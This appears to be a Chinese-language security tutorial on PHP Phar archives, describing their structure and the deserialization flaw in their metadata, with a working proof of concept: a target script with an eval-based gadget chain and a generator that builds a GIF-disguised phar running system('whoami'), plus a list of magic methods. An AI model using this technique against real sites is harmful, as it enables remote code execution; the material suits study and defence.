Phar是打包的PHP文件,跟Java的JAR包类似。通过文件类函数和phar://
伪协议可以对phar文件进行读写等操作,如果 phar.readonly
为禁用则可以生成phar文件,但出于安全考虑该配置默认为启用。
文件结构
根据官方文档可知,Phar由 stub
/manifest
/contents
/signature
四部分组成。
stub
stub
用于标识phar文件类型,格式为xxx<?php xxx; __HALT_COMPILER();?>
(xxx为任意内容)。因为无需以特定标识开头,所以可以结合其它文件头进行伪装:GIF89a<?php __HALT_COMPILER();?>
。
manifest
该结构存放了一些phar文件的大小长度等属性,包括序列化格式的元数据。
contents
contents
存放压缩后的实际文件内容。
signature
顾名思义该结构用于文件校验,可以是常见的哈希值或密钥签名。
反序列化
因为 manifest
中的 Meta-data
以序列化格式存储,那么读取时必然有反序列化的过程,如果该部分用户可控(如上传phar文件并引用),则存在反序列化漏洞。
- PHP8.0 改为了不自动反序列化
Meta-data
,除非调用了 getMetadata()
利用示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class Control { public $call; function __construct() { $this->call = new Normal(); } function __destruct() { $this->call->action(); } }
class Normal { function action() { echo "ddmddw!"; } }
class Run { private $code = "phpinfo();"; function action() { eval($this->code); } }
$path = 'phar://test.phar'; include($path); file_exists($path);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class Control { public $call; function __construct() { $this->call = new Run(); } function __destruct() { $this->call->action(); } }
class Run { private $code = "system('whoami');"; function action() { eval($this->code); } } $object = new Control();
@unlink('test.phar'); $phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');
$phar->setMetadata($object);
$phar->stopBuffering();
|
附上l1nk3r师傅总结的常用魔术方法触发条件:
1 2 3 4 5 6 7 8 9 10 11
| __wakeup() __sleep() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke()
|